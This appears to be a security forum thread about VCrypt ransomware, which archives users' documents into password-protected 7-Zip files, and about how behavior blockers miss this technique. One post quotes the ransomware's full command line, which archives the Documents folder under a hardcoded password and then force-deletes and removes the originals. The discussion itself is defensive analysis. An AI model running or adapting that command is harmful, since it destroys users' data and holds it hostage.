- Nov 10, 2017
- 3,129
- 1
- 22,992
- 4,269
New VCrypt Ransomware locks files in password-protected 7ZIPs
- Thread starter CyberTech
- Start date
Well now it begins..... I wonder if some AV vendors are finding their statements a bit ironic about how TrojanZipperPOC and Ransominator are not realistic.
I sincerely hope that this evolved organically and our attempts to demonstrate a common behavior blocker weakness did not inspire real malware writers.
Unfortunately very very few AVs correctly identify this kind of an attack because most behavior blockers just look at the offending process (7zip in this case) and consider it trusted/whitelisted, as opposed to the whole chain of events that led to 7zip being started, or what exactly 7zip was told to do.
I sincerely hope that this evolved organically and our attempts to demonstrate a common behavior blocker weakness did not inspire real malware writers.
Unfortunately very very few AVs correctly identify this kind of an attack because most behavior blockers just look at the offending process (7zip in this case) and consider it trusted/whitelisted, as opposed to the whole chain of events that led to 7zip being started, or what exactly 7zip was told to do.
- Aug 17, 2014
- 13,533
- 127,955
- 8,399
FWIW, luckily, this ransomware is very poorly and dumbly coded:
It uses a batch file and the del command to delete the documents. If they wanted to be smart, they'd use the "-sdel" argument to 7za. Attempting to directly delete the user's documents without abusing a whitelisted process triggers most behavior blockers that are able to AMSI inspect batch files.
Code:
2480 - C:\Windows\system32\cmd.exe /c if exist %USERPROFILE%\Documents\ for /F %i in (dir /b "%USERPROFILE%\\Documents\\*.*") do %TEMP%\mod_01.exe a -t7z -r -mx0 -pOezfdse6f5esf413s5fd4e6fSQ45R424EDDEZS %USERPROFILE%\%username%_documents.vcrypt %USERPROFILE%\Documents\* & del /f /s /q %USERPROFILE%\Documents\ & FOR /D %p IN (%USERPROFILE%\Documents\*) do rmdir %p /s /qIt uses a batch file and the del command to delete the documents. If they wanted to be smart, they'd use the "-sdel" argument to 7za. Attempting to directly delete the user's documents without abusing a whitelisted process triggers most behavior blockers that are able to AMSI inspect batch files.
Last edited:
At least my PoC had a random generated password 
At least my PoC had a random generated password
Luckily the world is a better place because poorly written malware usually serves as a warning sign for what well written malware is going to do in the future
Tbh, looks like detecting this ransomware shouldn't even require a trigger from a behavior blocker because AVs with good signatures and heuristics should be able to detect it easily without any additional help. Eg: ESET's detection of this malware as "A Variant Of Win32/Filecoder.NTG".
also written in C
EDIT: looks like a cybercriminal recreated my PoC and removed the need for a local 7zip copy
Last edited:
Who said it is unrealistic? Zip abusing ransomware has been around for years, before those PoCs.
also written in C
EDIT: looks like a cybercriminal recreated my PoC and removed the need for a local 7zip copy
The main code is a batch script.
I believe it was ESET or maybe another vendor. Basically they brushed off the proof of concept as not realistic because users archive their files using 7Zip too, or something along those lines. Either way it was a fairly dismissive analysis of a real problem I was trying to demonstrate, which is a lot of behavior blockers turn a blind eye if you have a trusted process be the last agent to modify and delete your documents.
Ransominator with bundled 7z like Vcrypt does
As an idea, maybe for people with AVs that can have different levels of restriction (Kaspersky has it, I guess other AVs also), making 7z to allow just 1 folder access, like downloads folder. Then would just encrypt that folder in case of attack
Might not be perfect, but I guess it would make the job
You may also like...
-
New Android malware encrypts files, steals data, and harasses victims- Started by Brownie2019
- Replies: 2
-
BoryptGrab Malware Abuses GitHub to Steal Browser and Crypto Wallet Data
- Started by Brownie2019
- Replies: 3
-
Hackers Use Phishing ZIP Files to Deploy PXA Stealer Against Financial Firms- Started by Parkinsond
- Replies: 3
-
